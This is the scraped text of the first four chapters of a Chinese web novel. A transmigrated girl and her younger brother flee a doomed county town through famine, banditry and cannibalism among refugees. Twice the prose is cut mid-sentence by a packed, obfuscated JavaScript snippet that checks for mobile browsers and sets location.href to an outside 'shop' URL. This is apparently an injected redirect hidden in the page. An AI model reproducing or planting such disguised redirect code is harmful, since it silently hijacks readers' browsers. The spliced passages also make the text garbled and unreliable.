《庶女逃荒日常》 1. 第 1 章 夜风凄凄,狭窄的小院子里除了杜月棠姐弟两个,只剩下一口枯井和一棵老梨树。 杜月棠轻轻抚着胸腔里充满生命力的心跳,她变成了一个八岁小女孩儿,还拥有了一颗健康的心脏。 农学院毕业后,她本来打算去孤儿院的农场。 没想到竟然穿越了。 只是看着眼前瘦弱小男孩,不得不打起精神。 好消息是拥有了一具健康身体,坏消息她是这青石县令家的庶女,而且姨娘刚私逃。 所以杜县令大发雷霆,把他们姐弟俩关在这荒院里,准备得空处理。 “阿姐,你别怕,我知道后面有个小狗洞,等夜深了,我钻过去,偷偷到厨房给你拿吃的。” 许是她长时间的沉默,让身前一母同胞的弟弟杜叙担心起来,主动承担起了保护姐姐的责任。 他才多大,这话听得杜月棠不忍,压下翻涌的思绪抬起头来,“我没事。”拉了他到身前坐下,见对方瘦骨嶙峋,头发枯黄,哪里有五岁孩子该有的样子? 但是这也怨不得他们俩的姨娘。 姨娘生得美貌,是这县衙后院最美的女人。 正因如此,探亲路过的她被青石县的土皇帝杜县令强掳到这后院为妾。 直至前几日,才逃出深渊。 她是可怜人,能在刻薄善妒的嫡母跟前保住姐弟俩,已经不容易了。 而且走前,这些年攒下的家私也没全带走,偷偷埋在院子里,留给姐弟两人。 暮色越来越浓,很快夜深了。 杜月棠哪里忍心让弟弟去钻狗洞?而且弟弟年幼,不如自己敏捷。 所以安抚好弟弟后,听着外面没了声音,便钻过狗洞,摸去厨房,拿了些吃食来。 得了填饱肚子,姐弟俩挤在破旧的小房间里休息。 夜露深深,杜月棠做了个梦,醒来只见窗外已是月上中天。 然分明是仲夏之时,她却觉得浑身发冷。 她是这是穿书了。 这本书叫《江山为聘》,一本披着权谋外衣的甜宠文。 男主男配个个身份显贵,手握重兵,前朝王爷、义军统领、叛军贼首…… 文韬武略,却全都疯魔一般爱着女主,为她争天下、献兵权。 但即便如此也是打了将近二十年,最后女主四十登顶,成了开国皇后。 而这位集万千宠爱于一身的女主,正是她的嫡姐杜月柔。 后天,这支喜欢屠城的叛军就会攻破青石县。 凉薄自私、重嫡轻庶的杜县令,会毫不犹豫撇下所有姨娘和庶出子女,只带着正妻和嫡子女仓皇北逃。 原主和二十四姐因为容貌出挑,被破例带上,美其名曰带在身边,实则是预备将来送人,做攀附权贵的玩物。 半年后,二十四姐被当作礼物送出去,受尽折辱而死。 三年后,她为嫡姐挡下致命一击,惨死当场,死后连清白都没能保住,彻底沦为女主光环下的一块垫脚石。 炮灰命,还是死得极惨的那种。 杜月棠攥紧拳头,心脏狂跳。 她好不容易重活一世,拥有了健康的身体,凭什么要给女主做垫脚石,落得那般下场? 她要活。 乱世将至,手里必须有银钱傍身。 杜月棠强压心慌,悄摸钻出狗洞,回到之前住的小院子,挖出姨娘留下的银钱。 三十多两碎银,一片金叶子。 这点钱,放在太平年月够寻常人家过十年也绰绰有余,可遇上战乱饥荒,粮价飞涨,撑不了多久。 她咬咬牙,又摸去嫡姐的院子。 原主继承了姨娘的美貌,从小就被嫡姐记恨,隔三差五被喊去折磨,院子里的路她熟得很。 此刻夜深人静,丫头婆子都睡得沉,杜月棠轻而易举撬开嫡姐的首饰匣子,将里面的金银珠宝、珍珠钗环一股脑塞进包袱。 期间不慎弄出动静,险些被守夜婆子发现,好在嫡姐养的猫突然窜出,叫她有惊无险躲过一劫。 一整包沉甸甸的金银首饰,钻狗洞不便,杜月棠先藏在后院墙根的冬青丛里,匆匆回去找杜叙。 她与这弟弟虽无多少感情,可原主记忆里,这孩子自己都吃不饱,还总惦记着她这个姐姐,她怎么忍心扔下他? 刚从狗洞钻出来,就撞上一脸慌张的杜叙。 “阿姐,你哪里去了?”杜叙声音里满是担忧。 半截身子还在外头的杜月棠连忙朝他做了个禁声动作,随后压低声音,“你随我出来。”然后退出了狗洞。 荒院里的杜叙也乖巧,没问缘由,姐姐说什么就是什么,赶紧从狗洞里钻出去。 在外等着的杜月棠立即拉过他枯廋的小手,“我听得家丁说,叛军马上就要打来了,咱们赶紧逃去。” 何况她几乎将嫡姐的首饰匣子搬空,明天一早起来,不走必死。 杜叙懵里懵懂的点着头,其实压根不知道叛军打来意味什么,毕竟整日关在这深宅大院里,哪里晓得外面什么光景。 只是听话顺从地跟着杜月棠走。 后院墙根一排老树,杜县令向来不把庶出子女放在眼里,而且单庶出子女就几十个,吃不饱是常有事情,姐弟俩以前没少偷偷爬树摸鸟蛋开荤,爬树都是一把好手。 杜月棠一个眼神,杜叙立刻迈着小短腿往树干爬。 她趁机取下藏好的包袱背在背上,紧随其后。 八岁的身子,手脚还算利落,很快追上弟弟。 可坐在树梢往外一看,杜月棠倒吸一口冷气,院墙少说三米高,真跳下去,轻则骨折,重则摔死。 正发愁,一阵异动传来,惊弓之鸟般的杜月棠瞬间紧绷,竟没分清声音来自墙外还是墙内。 背上包袱沉重,心神一慌,身子一斜,重心不稳,径直从树梢滑落。 杜叙见状,本能伸手去拉,反倒被下坠的力道一起带了下去。 杜月棠已经做好摔个半死的准备,落地时却只觉一阵钝痛,并无大碍。 她猛地反应过来,底下压着个人。 杜叙也爬起来,小脸发白,“姐,有个人,他不会被咱们砸死了吧?” 杜月棠忙起身,只见地上躺着个昏死过去的男孩,看起来和自己差不多的年纪,只是小小年纪一身夜行衣,分明就不是善茬,多半是夜闯县衙的小贼。 可不管怎么说,这人给他们姐弟当了肉垫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479042|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这才刚穿来的杜月棠愧疚不已,心有不忍,把包袱挂在弟弟身上,“我拖他去医馆门口。” 杜叙连忙点头:“阿姐,我帮你。” “不用,你先走。” 杜月棠又怕这身夜行衣惹麻烦,干脆利落把他外袍和裤子扒了,万幸里头还有贴身衣裤,不至于太过难堪。 她拖着人往医馆挪,放下时还悄悄塞了几两银子在旁边,用力敲了敲门,听见里头有人抱怨着起身,才迅速躲远。 只等天一亮,城门一开,就混出城去。 可计划赶不上变化。 天大亮,城门却迟迟不开。 杜月棠心头一沉,难道是嫡姐丢了首饰,县令下令封城搜查?不至于。 更大的可能是 ,杜县令已经得知叛军将至,在暗中准备跑路。 原文里通篇都是情爱纠葛,这些细枝末节一字未提,她根本无从判断。 姐弟俩只能在城里东躲西藏,杜月棠铰了头发,乔装成小男娃,偷偷去医馆附近打探,得知早上医馆确实救了个男娃,悬着的心稍稍放下。 她想活命,却也不想害命。 这小贼是活了,她又开始担心二十四姐,也不知自己昨晚给扔进去的纸条,她看到没。 下午些,天边一卷火烧云,半个城池都笼罩在耀眼得不正常的霞光中。 终于,城门开了。 杜月棠躲在暗处,一眼就看见县衙车队浩浩荡荡出城 。 杜县令果然带着嫡母嫡姐跑了。 她正伺机混出城,忽听街上有人惊呼,“县令老爷一家都跑了!叛军真要打来了!” “快跑啊!” 一瞬间,全城骚乱,百姓疯了一般涌向城门,商贩收摊,店家关门,哭喊声、叫嚷声搅成一团。 混乱之中,正是浑水摸鱼的好时机。 出了城往北而上,沿途皆是推着独轮车或是挑着担的逃难百姓。 那筐里车上,皆是家当,有的是鸡鸭,有的是嗷嗷哭嚷的孩童,吵吵闹闹的。 再往后,就是些身体孱弱的年轻人和老人小孩。 至于有些身家的大户人家,早就赶着快车骑着快马,追着杜县令的队伍去了,哪里还有什么踪影。 杜月棠抹了一脸的碳灰,牵着弟弟混在人群里。 她昨天下午并未第一时间出城,在看到街上惊慌失措逃难的人群时,这一乱起来,秩序全无,各路牛鬼蛇神都显现了,没得了个束缚,那欺男霸女的变本加厉,她忽然意识到自己那包金银首饰何等扎眼。 杜月棠咬牙,找了家人去楼空的铁匠铺,把所有金银首饰一股脑丢进熔炉,烧熔成金水银水,倒进用泥沙捏好的模具里。 模具照着她和弟弟的鞋码大小,铸成了几双金银鞋底。 金是金,银是银,踩在脚底下,远比揣在身上安全。 然姐弟俩年纪小,杜叙又格外瘦弱,即便有现成炉子,也折腾了半宿,再一针一线把金银鞋底缝进布鞋夹层,等一切办妥出城时,天已蒙蒙亮。 只是余下的实在不好藏,杜月棠学着姨娘的样子,挖坑埋在路边,做了记号,只盼战乱平息后还能回来取,留个安身立命的本钱。 2. 第 2 章 城中百姓逃得仓促,牛马劳力紧缺,不少人为了活命,半路丢弃了不少家当。反倒是后走的姐弟俩,不仅吃饱了饭,还在城里搜刮到不少干粮。 若不是知道叛军进城必会屠城,杜月棠真想留在城里。 吃饱后的姐弟俩,很快就追上了落在后头的队伍。 第一天无惊无险的,大家这会儿都还有银钱和粮食在身上,那心态好的还能说说笑笑,姐弟俩在人群里也不突兀。 毕竟城里头像是他们这样的小乞儿不少,何况姐弟俩也是满头灰土,破衣烂衫的。 只是这样的安逸日子不过得了五日罢了,沿途的村庄里又不见人烟,大家不免都开始心慌起来。 体力不支的老人接连倒下,不等咽气,就有城里惯会偷鸡摸狗的人一拥而上,扒走包袱干粮。 先例一开,恶胆疯长,抢夺越发肆无忌惮。 路边新坟谁处可见,甚至是还有那没来得及掩埋的,就这样保持着临死前的姿势卷在路边上,引得一群群喜好吃腐肉的雅雀守在旁边。 杜月棠的心一直悬在嗓子眼,时刻警惕四周。 这日入夜,一行人在官道旁的废弃小村落歇息。 好房子早被前面的人占光,杜月棠只能带着弟弟,和几个流浪儿挤在村口破败的小庵里。 身上干饼所剩无几,白日沿途摘了些野菜,她正打算抓一把米找锅煮野菜粥,两道小小的身影凑了过来。 是这两天结识的孙家兄妹。 “杜大郎,我和妹妹今晚煮粥,你们要不要一起搭伙?” 孙大郎约莫九岁,妹妹六岁。他们父亲进山打柴后杳无音信,母亲被外祖家接走改嫁,兄妹俩从小靠邻里接济、捡烂菜叶子度日,对苦日子早已习惯。 只是孙大郎要出去拾柴火,不放心把妹妹单独留下,怕被人欺负抢了行囊,因此暗中观察几日,觉得杜月棠姐弟沉稳可靠,才主动开口搭伙。 杜月棠双脚早已磨满血泡,弟弟更是虚弱,有人结盟,自然求之不得。 接下来几日,四人分工合作。 杜叙和孙小妹守行李,杜月棠与孙大郎拾柴火、找水源,日子总算松快了些。 可他们落在队伍最后,柴火野菜越来越难找。 加之小半月滴雨未下,大地干裂,树木光秃秃一片,连树皮都被人剥光。 青石县逃出来的百姓越发绝望,饿极之下,恶行更甚,不等人死就动手抢夺。 路边的尸体,从最初的老人,渐渐多了年轻人和孩童。 杜月棠看得心惊肉跳,带的粮食也所剩无几。 她来自和平年代,哪里见过这般朝不保夕、人命如草芥的场面,恐惧像藤蔓一样缠上心头。 原计划是带着金银,到下一座未被叛军占领的城池买粮,然后继续往北上走,如此循环。 可现实狠狠给了她一击。 青石县已被叛军占领,前路关卡又有土匪盘踞。 孙大郎打探消息回来,本就瘦弱的脸颊凹陷下去,眼窝深陷,看上去格外可怖。 他蹲在妹妹身边,愁眉不展:“前头的城被山大王占了,城里没粮,还出来打劫过路的。现在人都往南边绕,可南边在打仗,我们没银钱,又没大人带着,关口未必肯放我们过去。” 杜叙年纪小,一路同甘共苦,早已把孙家兄妹当成生死之交,听见 “银钱” 二字,张口就要说他们有钱。 杜月棠眼疾手快,抢先开口:“实在不行,咱们往山里走,避世求生,未必不是一条路。” 古时战乱,多有人入山避祸,自成一方天地。 “不行!山里全是野兽,我们几个孩子进去,就是羊入虎口!” 孙大郎想都不想就否决。 他父亲是柴夫,进山打柴失踪,都道是被野兽叼走了,所以他强烈反对进山。 看着妹妹晒得嘴唇干裂、满脸通红,放眼望去全是燥热黄土,连个遮阴处都没有,他急得团团转,只得把妹妹护在自己影子下,看向杜月棠,“你比我聪明有见识,你快些想个法子,再这样下去,我们都活不成。” 杜月棠也知进山凶险,沉吟片刻,“那就加快脚程,追上前面的大队伍,人多势众,南边关口或许肯通融。” 孙大郎点了点头,“也只能这样了,那白天休息躲太阳,晚上赶路!” 姐弟俩找了块岩石下的阴凉处歇息,地方狭窄,孙大郎虽懊恼没抢到位置,也没上前争抢。 等人走远,杜叙才小声疑惑:“哥,咱有钱的啊。” 为了隐藏杜月棠女儿身,他一路上都改口叫姐姐 “哥”。 杜月棠神色严肃,轻轻叹气:“阿叙,记住,没彻底安顿下来之前,就算死,也不能让任何人知道我们有钱。” 早前她还是想得太简单。 如今金银踩在脚底,看似安全,可若真泄露半分,必然立刻就会杀身之祸。 杜叙似懂非懂,还是乖乖点头,“哥,我知道了。” “好,睡会儿吧,晚上咱们赶路。”毕竟只有睡着了,肚子才不饿。 夜幕很快来了,只是风里带来的还是热浪,杜月棠能清晰闻到自己身上的酸臭味,也难怪几只苍蝇一直围着他们嗡嗡转个不停歇。 她厌烦地扇了扇手,杜叙也被惊醒过来,“姐,要走了么?” “嗯。” 杜月棠摸出贴身藏着的两块干壳饼,自己舍不得吃,掰了一小块塞进弟弟嘴里,“就着水咽下去。” 粮食早已见底,杜叙饿得前胸贴后背,干硬的饼子入嘴,却香得驱散所有疲惫,“哥,你也吃。” “我吃过了。”路边除了飞扬的黄土,光秃秃的树杆,地是黄的,天也是黄的,杜月棠看不到半点绿色,也不确定到底多久能到城里,能买到粮食,所以决定在忍一忍。 四人趁着夜色赶路,只是走了不到两个时辰,精神萎靡的杜叙脚下一绊,狠狠摔在 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她忽然有些心惊肉跳,虽是农学生,但也知晓历史上,那灾荒年间,易子而食,□□切肉。 从前于她来说,只是简短八个字,快速扫过,看后抛之脑后,并未多想。 如今看着身边的人,恐惧油然而生,只准备寻个时机,喊着孙家兄妹赶紧和自己脱离队伍。 一面偷偷数了一下队伍的人数。 然还没等她找到机会提醒孙家兄妹,队伍就停了下来,随着火塘上的铁锅架起,一股肉香从热浪里窜过来。 “哥,有肉吃,好香。”廋得脱了相的杜叙深深吸了一大口香气,半点不觉得这空气干燥叫人难受了,两眼放光,四处寻找这肉香来源。 是好香,自打从城里出来后,已是快二十天了,姐弟第一次闻到肉香。 可香的同时,一股恐惧在她浑身散开。 忽然,肩膀被人拍了一下,杜月棠惊得满脸苍白,一回头原来是孙大郎。 但见他咧嘴笑着,“咱们终于是苦尽甘来,走,咱们去分肉,只要加入队伍,都有份。” 说着,迫不及待地拉着妹妹去了。 杜叙也拔腿要跟上,杜月棠下意识的拉住他,“好些日子没沾荤腥了,咱先缓缓,适应一下,明天再吃。” 杜叙犹豫了一下,素来听话的他咽了口唾沫,重新坐下,“好吧。” 很快,孙家兄妹俩就拿着肉过来,吃的满嘴流油。 孙大郎疑惑地看着他们,“你们怎么不去,再晚就没了。” 杜月棠本想叫他们别吃,可是又无法考究着肉的来源处,只得将话吞回去,“我怕肚子不适应,一会儿去喝点汤缓缓。” “我看你就是穷苦命,有肉还不吃。叫我说多吃一顿是一顿。”孙大郎一边咧嘴嘴笑她,一边狼吞虎咽。 3. 第 3 章 身旁的杜叙见此,下意识咽了唾沫,“姐,咱去盛汤嘛。”一面忍不住往那边瞧,眼见锅里的汤也要分完,不免是着急起来。 杜月棠还想找借口搪塞,但不知是不是她的错觉,只觉得坐在对面那个小叫花好像在监视自己一样。 自打他们进入队伍后,那小叫花的眼神就没离开过他们,让她免不得是担心,莫不是脚底的金银叫他发现了? 然此刻也顾不得多想了。 杜月棠不敢再多说什么,只得起身,找了装水的竹筒,去盛了一筒来,只不过还未走到跟前,脚下忽然一滑,手里的竹筒飞出去,乳白色的汤汁顿时洒了一地。 看得孙大郎心疼不已,“你怎不慢些,可惜了。” 杜叙虽也心疼肉汤,但更关心姐姐,赶紧跑过去扶起她,“哥,你摔着没?” 杜月棠摇着头,“没。”心里倒是有些轻松,这路上连草根都没有,牛羊更不见半只,这肉很新鲜,她本来就不敢碰,如今摔了其实正好。 天色很快暗下来,杜月棠也趁着夜幕前那功夫,暗地里点了一下人数。 少了三个。 她心头最后一丝侥幸彻底破灭,打定主意等夜深人静,立刻带弟弟逃走。 终于,营地安静了,杜月棠悄悄将弟弟叫醒,准备去喊旁边的孙家兄妹,不想一抬起头,就对上一双眼睛,登时吓了她一跳。 杜月棠强作镇定,避开小叫花的目光,轻轻推醒孙大郎,借口一起去解手。 孙大郎毫无怀疑,带着妹妹跟了上来。 走出一段距离,确认没人跟踪,杜月棠压低声音,急声道:“孙大哥,咱们得快逃,这些人吃的肉是……” 然后话还没说完,就被孙大郎打断了,“我知道是什么肉。” 杜月棠大惊,“那你还……” 忽然,孙大郎露出个满怀歉意的笑,“对不起,我们想活着。” 所以他果然知道。 杜月棠一时愣住,但很快又表示理解,但自己和杜叙万万不可能吃的。 她正要告辞离开,孙大郎却突然伸手,死死攥住杜叙的手腕,垂眸不敢看她,“你们不能走。” 杜月棠心头咯噔一声,最后一点信任彻底崩塌。 眼前的孙大郎,陌生得可怕,哪里还是一路上相依为命、背着弟弟赶路的好哥哥? “你想干什么?” “杜兄弟,你聪明,该懂我的意思。” 孙大郎声音哽咽,近乎崩溃,“我真的想活下去,我没办法…… 要怨就怨这贼老天,怨这命!你们……你们也别恨我,我就是想活着,想活着。” 今天吃上了肉,他才知道从前自己过的什么苦日子,明明一样的人,为什么自己要放着好日子不过?非得去饿肚子?然后过几天跟路边那些尸体一样,等着秃鹫来啄么? 不,他不愿意,现在有机会让他过好日子,他真的没有办法拒绝。 是啊,杜月棠就算这内里是个清澈愚蠢的大学生灵魂,但孙大郎话已至此,她哪里还不明白,只是始终接受不了。 一面忙要去掰开他拽着弟弟的手。 不想还未碰到,就听孙大郎开口,“杜兄弟,你不要逼我,老实回去,你们还能多活一阵子。” 饿得头晕脑胀的杜叙根本就听不明白他们的话,只是觉得背自己逃难的孙大哥怎么忽然这样用力捏自己的手腕,疼得他拼命甩,“孙大哥,疼。” 听到弟弟的话,杜月棠更着急了,几乎是没有多想,就彷佛是出于本能,她一把拉过了孙大郎身后的孙小妹,威胁起来,“你放开我弟弟。” 生怕孙大郎不信,她连忙摸出自己那日从被他们砸晕的那男孩身上的匕首。 果然,她也是自私的,孙大郎想要活,用他们兄妹做粮食。 她想要活,反手拿孙小妹的性命来威胁。 可是任杜月棠怎么都没有想到,孙大郎浑不在意,“一个两脚羊十天,这样我能待一个月,一个月后也许就到京城了。” 京城多繁华,好多地主老爷,家里都有吃不完的粮食,听说他们会在城外施粥。 粥多香啊,虽然才七八天没吃到,可是孙大郎觉得自己好像已经忘记是什么滋味了。 想到此,孙大郎下意识地舔了舔嘴角。 杜月棠此刻看着他,觉得仿若鬼怪一般,更拿不定主意他是不是真要舍弃自己的妹妹? 可明明他那么疼爱孙小妹,有一口水要先给妹妹喝,有一口吃的要仅着妹妹来,甚至那没有遮阴的地方,还要以身为伞,替孙小妹遮挡那灼灼烈日。 他是难得一见的好哥哥啊。 试问是杜月棠,也做不到像是他这样照顾杜叙。 他也在杜叙伤了腿后,二话不说就蹲下身,背着他走了大半天。 就在这时候,孙小妹忽然轻轻叫了一声,“哥哥。”她从小生活在市井之中,娘走后和哥哥相依为命,什么人情冷暖,早就看透了。 所以自不像是深宅大院里被关着的杜叙那样天真无知。 孙大郎听到她的声音,瘦弱的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479044|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形微微颤了一下,但也仅仅一下,他就恢复如常,朝杜月棠催促,“跟我回去吧,真惊动了马老大他们,还要白白挨一顿拳脚,又何必呢。” 听到他的话,杜月棠下意识朝营地望去,那马老大早带着个漂亮的年轻女人去了干涸的沟里,这会儿是没空来的。 他手下那几个人也是如此。 可一旦孙大郎叫喊,那些同样抱着侥幸心理的 “口粮”,一定会围过来。 人人都想活,多活一天是一天。 此刻杜月棠脑子里乱糟糟的,她也不知如何想的,一把推开了孙小妹,拿着匕首朝孙大郎捅过去,想要吓一吓他。 但孙大郎似乎早就料到了她的想法,侧身躲过,同时也放开了杜叙,抬脚朝她踹去。 杜月棠饿了许久,不似才吃过肉的孙大郎有力气,何况又比孙大郎廋小许多,这一摔手里的匕首也飞了出去。 不等她爬起去捡,孙大郎就扑过来,死死将她压住,眼睛通红,“杜大郎,这是你逼我的。”肉那么香,他真的不想再饿肚子了,他想活,想吃口肉而已。 杜月棠被他掐住了喉咙,窒息感迎面袭来,本能地挣扎着,两条腿拼命乱蹬。 但并没有起什么作用,就在她以为自己这倒霉的炮灰果然逃脱不了命运的钳制时,杜叙不知什么时候来的,捡起块石头就往孙大郎脑袋上砸。 孙大郎吃痛,一手下意识去捂着受伤的脑袋,一面敏捷起身去推杜叙。 杜叙一开始不知道吃肉说的什么,但两脚羊他还是明白的,虽然难以置信这么好的孙大哥居然要拿他们换吃的,但现在也顾不上为此事气恼,只是本能地想要保护姐姐。 杜月棠得了自由,大口呼吸着空气的同时,看到孙大郎又将弟弟按在地上,杜叙小小的脸一片苍白无血色,急忙翻身滚去捡起脱手的匕首,此刻的她可以说是那脑子里一片空白,举着匕首就朝孙大郎捅过去。 她最清楚那种窒息感,生怕自己再慢一点,弟弟就没命了。 所以不是你死就是我活。 一下两下三下,她也不知道孙大郎到底死了没,只晓得鼻子里全是刺鼻的铁腥味,脸上黏糊糊的。 直至耳边听到孙小妹的惊恐叫声,她才回过魂来,脸也顾不得擦,“阿叙,快逃!” 被孙大郎压在身下,满脸恐惧的杜叙听到她惊恐的声音,艰难地从孙大郎身下爬出来,任由杜月棠拉着,连滚带爬跑。 然跑出不过两步,就被拦了去路。 竟然是那个小叫花! 4. 第 4 章 更让杜月棠心惊的是,那把本该插在孙大郎身上的匕首,此刻,正握在对方的手里。 但见他慢条斯理地,用衣袖擦拭着匕首上的血迹,嘴角勾起一抹冰冷又嘲讽的笑容,“老子的匕首,就是这么给你糟蹋的?” 杜月棠的心瞬间沉到了谷底。 前有狼,后有虎,营地那边,已经被孙小妹的哭声惊动,也许很快就有人过来。 而眼前的这个小叫花,眼神锐利,动作利落,一看就不是普通人,很明显,他会武功。 只是他这话是什么意思?什么叫“他的匕首”? 这把匕首,明明是她从那个被砸晕的夜行衣男娃身上拿来的。 一个可怕的念头,在她脑海里浮现。 她难以置信地看着眼前的小叫花,声音带着一丝颤抖:“是你?” 他怎么会出现在这里? 小叫花嗤笑一声,擦干净匕首上的血迹,缓缓抬起头。 淡淡的月光下,能依稀看到他精致却冰冷的小脸,只见眉眼锋利,唇线偏薄。 眼神里满是与年龄不符的冷漠和杀意。 话说这小叫花,还真是杜月棠姐弟俩当时砸晕,扒了衣裳裤子送去医馆的那男娃。 他叫秦霄,此刻已是二世为人了。 三岁被拐,进入大炎皇朝专门训练死士的乌云台,不想才过几年,大炎皇朝覆灭,群雄四起,他凭着一身武艺好胆倒也过得去。 后遇到一支义军,他虽年纪尚小,但胜在武功超凡,故而破例进了军中。 更得主帅顾将军的赏识,算得上是半个义子。 后来更是七进七出,救出顾将军被困的家眷。 顾将军深明大义,体恤黎民,本以为将来自己会有个好前途,没准北定中原后,还能得个侯爵做一做的。 哪料想那顾将军的独子顾怀景居然喜欢上了敌方将领的未婚妻,更是为了博得美人一笑,毒杀顾将军夺取军权献于此女,他们这些顾将军的亲信,也被设计毒杀。 死时他才不过十三岁。 显然老天爷也觉得他可怜,让他重活一世。 所以秦霄想起前世的惨死,决定从祸根上解决问题,只是他昨夜刚摸到那狗官家中,原本想找那个祸世的妖女,待解决掉她,再去找那满脑只有情爱的顾怀景报仇。 谁料刚到墙根下,忽然被什么砸中了。 再醒来是在医馆里,大夫已经走了,药童说是好心人把他送来的,敲门留了银子,开门已不见了他的恩公。 当时听到恩公两个字,秦霄只觉得讽刺极了,俊俏的小脸上杀意浓浓。 什么恩公?他在乌云台待了那么多年了,哪怕是昏迷中,身体仍旧本能警戒,分明听到絮絮叨叨的两个小孩说话。 如今脑子清醒,自也回忆了大半。 砸晕他的可不就是那姐弟两个。 扒拉他的裤子就算了,还害得他与那妖女错过,所以将所有的恨都转嫁到了这姐弟俩身上。 只是一路到处在逃难的队伍里找,二十天了仍旧没音讯,直至今天加入了的兄弟两个,他怎么听着那声音越发觉得熟悉。 果然,他没认错。 也难怪自己一直找不到这姐弟俩,原来是这做姐姐的竟然铰了头发,乔装成了个小子。 看着杜月棠惊恐不安的模样,秦霄心里,竟生出一丝报复快感。 把玩着手里的匕首,眼神冰冷,语气里满是杀意:“想怎么死?” 杜月棠浑身发冷,满心悔恨。 她恨不得抽自己两个嘴巴子,为什么要把他拖去医馆?半夜一身黑衣的能是什么好人? 都穿越在乱世了,作为一个炮灰,还管什么道德?这不是自己那个年代啊! 她若是当时直接放任他不管,或是干脆杀了他,现在他们姐弟俩,也不会落到这般境地。 “姐姐,你别怕,我会保护你!”杜叙虽然也吓得浑身发抖,却还是鼓起勇气,挡在杜月棠的身前,小小的身子,绷得紧紧的,眼神坚定地看着秦霄。 此举却是引得秦霄一阵嗤笑。 他在逃难队伍里待了这么久,见惯了夫妻反目、父子成仇、兄弟相残,这姐弟两个,竟然还能做到姐友弟恭。 可见,他们还没到走投无路的地步。 不禁上下打量着杜月棠姐弟俩,目光锐利,像是要将他们看穿。 可除了身上的破衣烂衫和装水的竹筒,再也没有其他值钱的东西,看起来和普通的小乞儿也没什么两样。 就在这时,秦霄的眼神,突然一冷,耳朵动了动,似乎听到了什么动静。 下一刻,他突然吹响了一声尖锐的口哨,急促大喊道:“有敌袭!” 可还是晚了。 几乎是他的声音刚落,一根根冰冷的飞箭,从营地方向飞来,呼啸着,划破夜空。 秦霄反应极快,下意识地侧身躲开,飞箭擦着他的耳边飞过,钉在了身后的枯木上,嗡嗡作响。 杜月棠也吓得魂飞魄散,连忙拉着杜叙,扑倒在地上,紧紧地抱着他,脑袋几乎埋在尘土里,不敢抬头。 头顶,飞箭呼啸而过,带着刺骨的寒意。 不远处,还在孙大郎身边哭泣的孙小妹,显然没有反应过来,一声凄厉的惨叫后,就没了动静。 一支飞箭,正中她的胸口。 紧接着,营地那边,传来了接二连三的惨叫声和厮杀声。 杜月棠隐约看到,一队穿着破烂盔甲、手持刀枪的逃兵,逢着青壮年,就一刀砍下去,不留丝毫情面。 而女人和孩子,则被他们赶到一起,哭喊着,挣扎着,却无济于事。 这一切,只发生在短短几个呼吸间。 很快,就有一个逃兵,发现了他们几个。 秦霄迅速将匕首藏好,装作一副惊慌失措的样子,混在杜月棠姐弟俩身边。 到底是军中待过的,就算是逃兵,但这些人的武器也不是马老大他们那伙人的破柴刀烂斧头能比得了的。 他虽有武功,但现在年纪尚小,双拳难敌四手,若是硬拼,必死无疑。 而那前来的逃兵见着就几个小乞儿,瘦不拉几的,地上已经躺下两个,因此就没当回事,一把拖起地上孙大郎还带着热气的尸体,又拎起半死不活的孙小妹,朝着杜月棠三人恶狠狠地呵斥道:“都老实点,跟我走!不然,一刀砍死你们!” 很显然这个逃兵不聪明,双手都占着,到底是托大了,以为三个小屁孩,翻不起什么风浪。 秦霄也没想到运气如此之好,居然来了个蠢货,眼底闪过一丝冷笑,根本就没作理会,脚下一点,人就朝着反方向飞跃出去。 那逃兵见此,竟然愣了一下才反应过来,可见也没想到这小乞儿如此胆大妄为,敢在自己的眼皮子下逃跑。 当即放下手里的孙家兄妹俩,就赶紧去追。 当然,也没忘朝着营地那边大喊:“来两个人,有羊跑了!” “阿叙,跑!” 本正琢磨着怎么逃的杜月棠立即抓住这千载难逢的机会,拉着弟弟,拼尽全力狂奔。 风声在耳边呼啸,身后追兵的脚步声越来越近。 她不敢回头,不敢停下,哪怕杜叙已经气喘吁吁、脚步虚浮,她也死死攥着他的手,绝不肯放开。 从来不知道,原来一个饿了许多天的小小身体,再面对生死攸关的时候,还能爆发出这样强大的能量来。 此刻只祈祷他们别放箭。 其实也是他们运气好,这伙逃兵手里的箭矢并不多,刚才为了一举拿下马老大他们,已经几乎全部用完了。 也正是这样,现在只能提着刀在背后追。 可即便如此,已经许久没吃过一顿饱饭的杜月棠兄妹俩,哪里能跑得掉? “姐,你快逃!” 杜叙挣扎着想甩开杜月棠的手,好叫自己拦住后面追来的逃兵。 “我看你们哪里逃?”后面的逃兵也是恼了,他早前去追秦霄,那小子跟脚下抹了油一般,眨眼就不见了踪影。 所以他又转头来追杜月棠兄妹。 杜月棠听着身后咫尺再近的声音仿若跗骨之蛆,不免是心生绝望,可即便如此,脚还是本能朝前冲。 却没留意,这黑夜之下,慌不择路,前面竟是个崖头,慌忙逃窜下,只觉得脚下一空,顿时惯性地朝下坠。 这种感觉太熟悉了。 就好似当时他们从县衙后墙上掉下来一样。 未知的恐惧和失重之下,惊恐叫声脱口而出。 这惨叫中,除了他们姐弟俩,竟还有一个陌生的男人同样惊慌失措的惨叫声。 竟是那眼见着要抓住他们,自信扑来的逃兵也一起坠下崖了。 她虽不知这崖到底多高,但从下坠的过程中也能判断出来,远不是府衙后墙能比得了的。 此刻的杜月棠终于是放弃了挣扎,认命 